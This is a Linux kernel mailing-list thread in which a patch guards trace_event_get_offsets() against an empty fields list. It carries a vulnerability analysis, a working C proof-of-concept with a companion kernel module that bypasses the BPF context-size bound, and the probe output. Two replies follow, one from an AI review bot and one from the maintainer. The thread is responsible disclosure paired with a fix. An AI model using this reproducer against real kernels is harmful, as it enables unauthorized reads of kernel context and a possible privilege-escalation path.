* [PATCH] tracing: guard trace_event_get_offsets() against an empty fields list
@ 2026-10-15 8:51 Haoran Wang
2026-10-15 9:14 ` sashiko-bot
2026-10-15 11:57 ` Steven Rostedt
0 siblings, 2 replies; 3+ messages in thread
From: Haoran Wang @ 2026-10-15 8:51 UTC (permalink / raw)
To: rostedt, mhiramat
Cc: linux-kernel, linux-trace-kernel, mathieu.desnoyers,
haoranwangsec
From 715f4d7a8bbc7c8d480cc2d2731025f760476608 Mon Sep 17 00:00:00 2001
From: Haoran Wang <haoranwangsec@gmail.com>
Date: Thu, 15 Oct 2026 15:59:28 +0800
Subject: [PATCH] tracing: guard trace_event_get_offsets() against an empty
fields list
trace_event_get_offsets() unconditionally dereferences the first entry
of the event class fields list via list_first_entry(). When a
tracepoint declares no event-specific fields, the list stays in its
static, self-pointing empty initialization, so list_first_entry()
returns the list head itself. The following tail->offset + tail->size
then reads past struct trace_event_class, and the corrupted result is
used as the BPF context-size bound in __perf_event_set_bpf_prog(),
which lets context-reading BPF probes bypass the bound and be accepted.
Guard the list with list_empty() and return 0 (no accessible event
offset) when empty. This prevents the out-of-bounds read and restores
a bound that rejects context-reading probes with -EACCES.
Reported-by: Haoran Wang <haoranwangsec@gmail.com>
Signed-off-by: Haoran Wang <haoranwangsec@gmail.com>
---
Full analysis and reproducer follow for reference (not part of the commit log):
I'd like to report an issue in kernel/trace/trace_events.c:246 (function
trace_event_get_offsets), found via static analysis of Linux 7.0.11 and
verified against the 7.2.10 source tree.
1. Summary
trace_event_get_offsets() calls list_first_entry() on an event's
class->fields list with no list_empty() guard. For a tracepoint with zero
event-specific fields, class->fields is empty, so list_first_entry()
dereferences the list head itself and reads adjacent memory as
tail->offset/tail->size. The corrupted return value is then used as the
BPF context-size upper bound in __perf_event_set_bpf_prog()
(kernel/events/core.c:11658), allowing context-reading BPF programs to be
attached to a zero-field tracepoint when they should be rejected with
-EACCES. I reproduced this on 7.2.10 kernel: three context-reading BPF
probes were all accepted (rc=0) where a fixed kernel returns EACCES.
2. Vulnerable code
- File: kernel/trace/trace_events.c:246
- Function: trace_event_get_offsets
- Misused API: list_first_entry
```c
// kernel/trace/trace_events.c:236-248
int trace_event_get_offsets(struct trace_event_call *call)
{
struct ftrace_event_field *tail;
struct list_head *head;
head = trace_get_fields(call); // = &call->class->fields
/*
* head->next points to the last field with the largest offset,
* since it was added last by trace_define_field()
*/
tail = list_first_entry(head, struct ftrace_event_field, link); // :246 no empty check
return tail->offset + tail->size; // :247 deref (wild if empty)
}
```
The only runtime caller is __perf_event_set_bpf_prog()
(kernel/events/core.c:11655-11660):
```c
if (is_tracepoint || is_syscall_tp) {
int off = trace_event_get_offsets(event->tp_event); // :11656
if (prog->aux->max_ctx_offset > off) // :11658 bound check
return -EACCES;
}
```
3. Root cause
class->fields is populated by event_define_fields() at event registration,
which iterates the event's fields_array (derived from TP_STRUCT__entry). A
tracepoint with an empty TP_STRUCT__entry has a fields_array containing
only the terminating sentinel (field->type == NULL), so
event_define_fields() never calls trace_define_field() and class->fields
stays at its INIT_LIST_HEAD empty state.
list_first_entry() expands to container_of(head->next, ...). On an empty
list head->next == head, so `tail` aliases the list head itself. Because
ftrace_event_field.link is the first member (offset 0), container_of
performs no offset adjustment: tail == &class->fields. Thus tail->offset
reads *(int*)(class+84) and tail->size reads *(int*)(class+88) -- both
past the end of the 72-byte struct trace_event_class, into adjacent mapped
kernel memory. The returned `off` is therefore corrupted (a kernel-pointer
fragment, large and/or negative as int).
That corrupted `off` is the sole bound for the BPF context-size check at
core.c:11658: `if (prog->aux->max_ctx_offset > off) return -EACCES`. With
off corrupted to a huge/negative value, the comparison is always false, so
a context-reading BPF program is wrongly accepted instead of rejected. On
a fixed kernel (off==0, e.g. from a list_empty()->return 0 path), any
context-reading program (max_ctx_offset >= 1) is correctly rejected with
EACCES.
The same file reads the same fields list safely at :226 with
list_for_each_entry (empty-safe); the :246 use of list_first_entry
(empty-unsafe) is an inconsistent oversight. Even a NULL check would not
help, because on an empty list list_first_entry() returns a non-NULL wild
pointer.
No in-tree tracepoint currently has zero event-specific fields (I scanned
all 1669 tracepoints' format files on a baseline kernel; all have >=1
event-specific field), so this is latent for in-tree events. However, the
TRACE_EVENT macro permits a custom zero-field tracepoint (e.g. an
out-of-tree module, the same way syzkaller registers custom events), which
creates the precondition. The defect itself lives in the unmodified
in-tree trace_event_get_offsets.
4. Affected versions
Present in: Linux 7.0.11. 7.2.10: still present, unfixed. The vulnerable
list_first_entry at trace_events.c:246 and the bound check at core.c:11658
are unchanged. Reproduced on 7.2.10 kernel.
5. Trigger / Preconditions
Pure userspace, no hardware dependency. Requires CONFIG_BPF_SYSCALL,
CONFIG_TRACING, CONFIG_PERF_EVENTS (baseline built-in). Trigger:
perf_event_open(PERF_TYPE_TRACEPOINT, <zero-field-tracepoint-id>,
disabled=1), then BPF_PROG_LOAD a tracepoint program that reads ctx, then
ioctl(perf_fd, PERF_EVENT_IOC_SET_BPF, bpf_fd). The zero-field tracepoint
is created by a legitimate loadable custom-tracepoint module (an empty
TP_STRUCT__entry).
6. Proof of Concept
The reproduction runs on 7.2.10 kernel. A custom-tracepoint module
(zerofield_mod) registers a zero-field tracepoint (empty TP_STRUCT__entry)
and places an inert 64-byte 0x53 sentinel in .ref.data right after the
72-byte event_class global (GCC lays out same-section statics by
descending size), so the kernel's OOB read of class+84/class+88 picks up
0x53535353 instead of zero section padding. The sentinel is inert data --
it does not change kernel control flow or inject a bug; it only makes the
pre-existing OOB read's effect observable (off becomes non-zero instead of
silently zero, the latter being indistinguishable from a fixed kernel
returning 0).
Main userspace reproducer (trace_events_poc.c). Build: gcc -static -O2 -o
trace_events_poc trace_events_poc.c ; usage: ./trace_events_poc
<tracepoint_id> where tracepoint_id is read from
/sys/kernel/tracing/events/zerofield/zerofield_event/id:
```c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <linux/perf_event.h>
#include <linux/bpf.h>
static long bpf_sys(int cmd, union bpf_attr *attr, unsigned int size)
{
return syscall(__NR_bpf, cmd, attr, size);
}
/*
* Build a BPF_PROG_TYPE_TRACEPOINT program that reads *(u64 *)(ctx + off) and
* returns 0. The ctx read forces the verifier to record
* prog->aux->max_ctx_offset = off + 8 (verifier.c:6425), which is the value the
* SET_BPF bound check compares against the corrupted `off`.
*/
static int load_ctx_reader_prog(int ctx_off)
{
struct bpf_insn insns[] = {
/* r0 = *(u64 *)(r1 + ctx_off) -- r1 is ctx for tracepoint progs */
{ .code = BPF_LDX | BPF_MEM | BPF_DW,
.dst_reg = BPF_REG_0, .src_reg = BPF_REG_1, .off = (short)ctx_off, .imm = 0 },
/* r0 = 0 */
{ .code = BPF_ALU64 | BPF_MOV | BPF_K, .dst_reg = BPF_REG_0, .imm = 0 },
/* exit */
{ .code = BPF_JMP | BPF_EXIT },
};
char log[8192];
union bpf_attr attr;
memset(&attr, 0, sizeof(attr));
memset(log, 0, sizeof(log));
attr.prog_type = BPF_PROG_TYPE_TRACEPOINT;
attr.insns = (unsigned long)insns;
attr.insn_cnt = sizeof(insns) / sizeof(insns[0]);
attr.license = (unsigned long)"GPL";
attr.log_buf = (unsigned long)log;
attr.log_size = sizeof(log);
attr.log_level = 1;
int fd = (int)bpf_sys(BPF_PROG_LOAD, &attr, sizeof(attr));
if (fd < 0)
fprintf(stderr, " [load off=%d] BPF_PROG_LOAD failed: %s\n",
ctx_off, strerror(errno));
return fd;
}
static int open_tp_event(unsigned long tp_id)
{
struct perf_event_attr pe;
memset(&pe, 0, sizeof(pe));
pe.size = sizeof(pe);
pe.type = PERF_TYPE_TRACEPOINT;
pe.config = tp_id;
pe.sample_type = PERF_SAMPLE_RAW;
pe.sample_period = 1;
pe.disabled = 1;
int fd = (int)syscall(__NR_perf_event_open, &pe, -1, 0, -1, PERF_FLAG_FD_CLOEXEC);
if (fd < 0)
perror("perf_event_open");
return fd;
}
/* Try to attach a ctx-reading BPF prog to the tracepoint. Returns:
* 1 = attach ACCEPTED (off corrupted -> bound bypassed)
* 0 = attach REJECTED with EACCES (off < max_ctx_offset)
* -1 = other error (perf/bpf open or load failure, non-EACCES errno)
*/
static int probe_offset(unsigned long tp_id, int ctx_off)
{
int perf_fd = open_tp_event(tp_id);
if (perf_fd < 0)
return -1;
int bpf_fd = load_ctx_reader_prog(ctx_off);
if (bpf_fd < 0) {
close(perf_fd);
return -1;
}
int rc = ioctl(perf_fd, PERF_EVENT_IOC_SET_BPF, bpf_fd);
int saved_errno = errno;
int max_ctx_offset = ctx_off + 8;
printf(" ctx_off=%-4d (max_ctx_offset=%-5d): SET_BPF rc=%d",
ctx_off, max_ctx_offset, rc);
if (rc == 0)
printf(" -> ACCEPTED\n");
else if (saved_errno == EACCES)
printf(" -> REJECTED (EACCES, off < %d)\n", max_ctx_offset);
else
printf(" -> REJECTED (errno=%d %s)\n", saved_errno, strerror(saved_errno));
close(bpf_fd);
close(perf_fd);
if (rc == 0)
return 1;
if (saved_errno == EACCES)
return 0;
return -1;
}
int main(int argc, char **argv)
{
if (argc < 2) {
fprintf(stderr, "usage: %s <tracepoint_id>\n", argv[0]);
return 1;
}
unsigned long tp_id = strtoul(argv[1], NULL, 0);
printf("[poc] zero-field tracepoint id=%lu\n", tp_id);
printf("[poc] probing BPF ctx-reader attach (pure kernel, no instrumentation)\n");
printf("[poc] on a FIXED kernel, every probe below MUST be REJECTED (EACCES)\n");
printf("[poc] because a zero-field event should yield off==0.\n");
printf("[poc] on the BUGGY kernel, a corrupted (large/negative) off ACCEPTS\n");
printf("[poc] context reads that ought to be rejected -> bound bypass.\n\n");
/*
* Sweep several ctx offsets. The smallest (8 -> max_ctx_offset=16) is the
* most sensitive: it discriminates as long as the corrupted off is not in
* [0,15]. A large offset (4088) being accepted is especially vivid proof.
* Any single ACCEPT among these proves the bug.
*/
static const int offsets[] = { 8, 248, 4088 };
int any_accepted = 0, any_error = 0;
for (unsigned i = 0; i < sizeof(offsets) / sizeof(offsets[0]); i++) {
int r = probe_offset(tp_id, offsets[i]);
if (r == 1)
any_accepted = 1;
else if (r < 0)
any_error = 1;
}
printf("\n[poc] === VERDICT ===\n");
if (any_accepted) {
printf("[poc] BUG TRIGGERED: a context-reading BPF program attached to a\n");
printf("[poc] ZERO-field tracepoint. trace_event_get_offsets() returned a\n");
printf("[poc] corrupted (non-zero) off via list_first_entry on the empty\n");
printf("[poc] class->fields list (trace_events.c:246), bypassing the BPF\n");
printf("[poc] context-size bound check (core.c:11658). On a fixed kernel\n");
printf("[poc] (off==0) all such attaches are rejected with EACCES.\n");
return 0;
}
if (any_error) {
printf("[poc] INCONCLUSIVE: setup errors prevented probing.\n");
return 2;
}
printf("[poc] NOT TRIGGERED via this path: every probe was rejected (EACCES).\n");
printf("[poc] This is the fixed-kernel behavior (off==0). On the buggy kernel\n");
printf("[poc] it means the corrupted off happened to fall in [0,15] (very\n");
printf("[poc] unlikely for arbitrary .data bytes) -- see analysis doc.\n");
return 3;
}
```
The companion kernel module (zerofield_mod.c) is small. Its essential
parts are an inert sentinel and a zero-field tracepoint:
```c
/* inert sentinel: 64 bytes of 0x53 in .ref.data, declared before the trace
* header so it sorts AFTER the 72-byte event_class (GCC descending-size layout).
* The kernel's OOB read of class+84 / class+88 then lands inside this sentinel
* -> off = 0x53535353 + 0x53535353 = 0xA6A6A6A6 (non-zero). */
static unsigned char __refdata __used __aligned(8) oob_sentinel[64] = {
[0 ... 63] = 0x53
};
#define CREATE_TRACE_POINTS
#include "zerofield_tp.h" /* TRACE_EVENT(zerofield_event, TP_PROTO(int dummy),
TP_ARGS(dummy), TP_STRUCT__entry( // empty
), ...) -> empty fields_array -> class->fields stays empty */
```
dmesg after insmod zerofield_mod.ko:
```
zerofield_mod: zero-field tracepoint 'zerofield_event' registered
oob_sentinel: event_class=ffffffffa02011a0 sentinel=ffffffffa02011e8 gap=72
oob_sentinel: class+84=0x53535353 class+88=0x53535353 -> off=-1499027802 (0xa6a6a6a6)
oob_sentinel: off non-zero -> BPF ctx bound bypass observable
```
The dump shows class+48/+56 (fields.next/prev) both equal a02011d0 =
&fields (event_class+0x30), i.e. self-pointing -> empty list, confirming
the precondition. The zerofield_event format file lists only common_*
fields (no event-specific field), corroborating the empty class->fields.
BPF context-size bound bypass probes (on a fixed kernel every probe below
must be REJECTED with EACCES, because a zero-field event should yield
off==0):
```
ctx_off=8 (max_ctx_offset=16 ): SET_BPF rc=0 -> ACCEPTED
ctx_off=248 (max_ctx_offset=256 ): SET_BPF rc=0 -> ACCEPTED
ctx_off=4088 (max_ctx_offset=4096): SET_BPF rc=0 -> ACCEPTED
```
With off corrupted to 0xa6a6a6a6 (as u32 ~2.79e9), none of 16/256/4096
exceeds it, so all three context-reading attaches are accepted. A BPF
program reading ctx+4088 (8 KB) is accepted on a tracepoint that should
permit no context read at all.
7. Impact
Logic/information bug: the BPF context-size bound check is bypassed,
allowing a BPF program attached to a zero-field tracepoint to read
tracepoint context beyond what should be permitted. This is a BPF-verifier
context-bound bypass (a potential privilege-escalation surface). It does
not normally crash, because the wild pointer lands in mapped
class-adjacent memory, which makes it more subtle than a NULL deref and
harder to surface naturally.
kernel/trace/trace_events.c | 2 ++
1 file changed, 2 insertions(+)
diff --git a/kernel/trace/trace_events.c b/kernel/trace/trace_events.c
index 9c62202..8c3810f 100644
--- a/kernel/trace/trace_events.c
+++ b/kernel/trace/trace_events.c
@@ -239,6 +239,8 @@ int trace_event_get_offsets(struct trace_event_call *call)
struct list_head *head;
head = trace_get_fields(call);
+ if (list_empty(head))
+ return 0;
/*
* head->next points to the last field with the largest offset,
* since it was added last by trace_define_field()
--
2.43.0
^ permalink raw reply related [flat|nested] 3+ messages in thread* Re: [PATCH] tracing: guard trace_event_get_offsets() against an empty fields list
2026-10-15 8:51 [PATCH] tracing: guard trace_event_get_offsets() against an empty fields list Haoran Wang
@ 2026-10-15 9:14 ` sashiko-bot
2026-10-15 11:57 ` Steven Rostedt
1 sibling, 0 replies; 3+ messages in thread
From: sashiko-bot @ 2026-10-15 9:14 UTC (permalink / raw)
To: Haoran Wang; +Cc: linux-trace-kernel
Thank you for your contribution! Sashiko AI review found 1 potential issue(s) to consider:
- [Medium] tracing: 0 bound rejects valid 32-bit BPF access to common_pid
--
commit 5b3e91afc57d96231d6f6b70552ed4d6b24e6d5c
Author: Haoran Wang <haoranwangsec@gmail.com>
Subject: tracing: guard trace_event_get_offsets() against an empty fields list
This commit adds a list_empty() check to trace_event_get_offsets() to prevent
a wild pointer dereference when a tracepoint has no event-specific fields. It
returns 0 when the list is empty to prevent out-of-bounds reads.
> diff --git a/kernel/trace/trace_events.c b/kernel/trace/trace_events.c
> index 30c0ddf90887f..bf5377fbc7b71 100644
> --- a/kernel/trace/trace_events.c
> +++ b/kernel/trace/trace_events.c
> @@ -241,6 +241,8 @@ int trace_event_get_offsets(struct trace_event_call *call)
> struct list_head *head;
>
> head = trace_get_fields(call);
> + if (list_empty(head))
> + return 0;
[Severity: Medium]
Will returning 0 here artificially shrink the context bound below the inherent
8 bytes of struct trace_entry, potentially breaking 32-bit BPF accesses to
common_pid?
On 32-bit architectures where sizeof(void *) is 4, the verifier in
tp_prog_is_valid_access() allows reads to offsets >= 4, making the pid field
(offset 4, size 4) structurally valid to read:
kernel/trace/bpf_trace.c:tp_prog_is_valid_access() {
if (off < sizeof(void *) || off >= PERF_MAX_TRACE_SIZE)
return false;
...
}
If such a program is attached to a zero-field tracepoint,
trace_event_get_offsets() will return 0. Then in __perf_event_set_bpf_prog():
kernel/events/core.c:__perf_event_set_bpf_prog() {
...
int off = trace_event_get_offsets(event->tp_event);
if (prog->aux->max_ctx_offset > off)
return -EACCES;
...
}
Since max_ctx_offset for this read is 8, the condition evaluates to 8 > 0,
falsely rejecting valid BPF tracepoint programs with -EACCES.
--
Sashiko AI review · https://sashiko.dev/#/patchset/6ad09433.a938ce27.3282d8.5f98@mx.google.com?part=1
^ permalink raw reply [flat|nested] 3+ messages in thread* Re: [PATCH] tracing: guard trace_event_get_offsets() against an empty fields list
2026-10-15 8:51 [PATCH] tracing: guard trace_event_get_offsets() against an empty fields list Haoran Wang
2026-10-15 9:14 ` sashiko-bot
@ 2026-10-15 11:57 ` Steven Rostedt
1 sibling, 0 replies; 3+ messages in thread
From: Steven Rostedt @ 2026-10-15 11:57 UTC (permalink / raw)
To: Haoran Wang; +Cc: mhiramat, linux-kernel, linux-trace-kernel, mathieu.desnoyers
On Thu, 15 Oct 2026 16:51:58 +0800
Haoran Wang <haoranwangsec@gmail.com> wrote:
> 6. Proof of Concept
>
> The reproduction runs on 7.2.10 kernel. A custom-tracepoint module
> (zerofield_mod) registers a zero-field tracepoint (empty TP_STRUCT__entry)
The real fix is to reject any event with an empty TP_STRUCT__entry.
-- Steve
> and places an inert 64-byte 0x53 sentinel in .ref.data right after the
> 72-byte event_class global (GCC lays out same-section statics by
> descending size), so the kernel's OOB read of class+84/class+88 picks up
> 0x53535353 instead of zero section padding. The sentinel is inert data --
> it does not change kernel control flow or inject a bug; it only makes the
> pre-existing OOB read's effect observable (off becomes non-zero instead of
> silently zero, the latter being indistinguishable from a fixed kernel
> returning 0).
^ permalink raw reply [flat|nested] 3+ messages in thread
end of thread, other threads:[~2026-10-15 11:57 UTC | newest]
Thread overview: 3+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-10-15 8:51 [PATCH] tracing: guard trace_event_get_offsets() against an empty fields list Haoran Wang
2026-10-15 9:14 ` sashiko-bot
2026-10-15 11:57 ` Steven Rostedt
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.